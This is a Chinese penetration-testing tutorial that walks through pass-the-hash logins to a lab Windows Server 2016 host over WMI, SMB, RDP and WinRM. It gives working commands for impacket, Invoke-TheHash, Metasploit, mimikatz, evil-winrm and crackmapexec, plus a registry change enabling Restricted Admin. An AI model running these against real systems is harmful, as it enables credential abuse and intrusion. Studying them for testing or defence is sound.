第15篇:内网横向中windows各端口远程登录哈希传递的方法总结
Part1 前言
随着人们的安全意识的逐步加强,企业内部的Windows服务器口令越来越复杂了,经常会遇到提权到windows服务器,获取了用户的密码hash,但是cmd5官网或者本地猜解都拿不到明文密码的情况。这时候就需要用到内网哈希传递技术了。哈希传递利用了NTLM认证的缺陷,使用用户的密码哈希值来进行NTLM认证。如果目标机器与获取hash值的机器的密码相同,就可以直接使用hash来远程登录Windows主机了。
当前内网环境中的主机为了防范MS17-010等漏洞,也为了阻断哈希传递攻击,很多主机都安装了EDR防护、防火墙策略、杀毒软件等等,把445端口都封禁掉了,导致基于SMB服务的 hash传递没法使用。这个还是有解决办法的,Windows的远程登录方式还有很多种,比如说135端口的WMI服务、3389的RDP服务、5985端口的Winrm服务都是可以用来哈希传递的,下面分情况具体讲解一下。
Part2 技术研究过程
虚拟机环境搭建
为了方便演示,本地准备了一台Windows2016的虚拟机,IP地址是192.168.237.209,密码更改为P@ssw0rd
接下来使用mimikatz提取哈希值,得到NTLM哈希是e19ccf75ee54e06b06a5907af13cef42
有的哈希传递工具需要同时填上LMHash:NTHash,如果只获取到了NThash部分,那么LMHash部分可以用32个0替代。
135端口wmi哈希传递
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。
首先推荐的是 impacket内网渗透套件的wmiexec.exe程序,我从github下载的是windows编译版,使用非常方便。如下所示命令,可以执行命令成功。
wmiexec -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209
接下来介绍另一款脚本Invoke-TheHash,使用powershell脚本编写的专门用来哈希传递的脚本,同时支持WMI、SMB的哈希传递。
Import-Module ./Invoke-TheHash.psd1
Invoke-WMIExec -Target 192.168.237.209 -Username Administrator -Hash 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 -Command "whoami" -verbose
445端口smb哈希传递
1 首先推荐的是 impacket内网渗透套件的psexec.exe程序,使用方法如下:
psexec -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209
2 使用impacket套件的mmcexec工具:
mmcexec -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209
3 使用impacket套件的smbclient工具:
smbclient.exe -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209
4 Invoke-TheHash套件
Import-Module ./Invoke-TheHash.psd1
Invoke-SMBExec -Target 192.168.237.209 -Username Administrator -Hash 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 -Command "whoami" -verbose
5 使用Metasploit中的psexec功能哈希传递:
use exploit/windows/smb/psexec
set RHOST 192.168.237.209
set SMBUser Administrator
set SMBPass 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42
exploit
3389端口rdp哈希传递
3389的哈希传递让我踩了不少坑,因为网上的一些文章写的步骤不太明确,windows低版本如win2003、win2008是不支持的。正确步骤如下:
第一步:在服务端运行如下命令,开启目标主机的Restricted Admin Mode(0代表开启,1代表关闭):
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
第二步:攻击机使用mimikatz执行如下命令:
privilege::debug
sekurlsa::pth /user:administrator /domain:. /ntlm:e19ccf75ee54e06b06a5907af13cef42 "/run:mstsc.exe /restrictedadmin"
接下来在弹出的“远程桌面连接”处输入服务端ip地址。
点击“连接”后,不需要输入用户名密码,即可登陆成功。
此外还有一个支持RDP服务哈希传递的工具,是linux系统下的,名叫FreeRDP-pth,使用挺麻烦的,因为编译特别费事,我还是使用mimikatz吧,大家感兴趣可以去编译一下。
5985端口winrm哈希传递
WinRM 是 Windows Remote Managementd(Windows 远程管理)的简称,WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。使用 WinRM 我们可以在远程主机设置了防火墙的情况下远程管理这台服务器,因为启动 WinRM 服务后,防火墙默认会自动放行 5985 端口。Windows 远程管理服务(WinRM)适用于 Windows Server 2008 和 Windows 7 以后的操作系统并自动与其支持的操作系统一起安装,但是只有在 Windows Server 2008 以上的操作系统 WinRM 服务才会自动启动,其他都需要手动开启。
Winrm哈希传递有几个坑,网上的各种关于winrm的哈希传递工具我都测试过,目前我本地测试成功的仅有evil-winrm及crackmapexec这两款工具可以测试成功,其它的exe版本的、python版本的工具,我本地测试各种问题,暂时不知道原因出在哪里。
第一步,需要安装evil-winrm:
gem install evil-winrm
第二步,执行命令如下:
ruby evil-winrm.rb -i 192.168.237.209 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42
第2个工具就是大名鼎鼎的crackmapexec了,新版已经支持winrm哈希传递,kali linux2020中自带的cmp一运行就报错,建议大家自己重装一下。
poetry run crackmapexec winrm 192.168.237.209 -u Administrator -H 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 -x whoami
Part3 总结
专注于网络安全技术分享,包括红队、蓝队、日常渗透测试、安全体系建设等
每周一篇,99%原创,敬请关注
往期精彩回顾
第14篇:Struts2框架下Log4j2漏洞检测方法分析与总结
第13篇:coldfusion反序列化过waf改exp拿靶标的艰难过程
第9篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载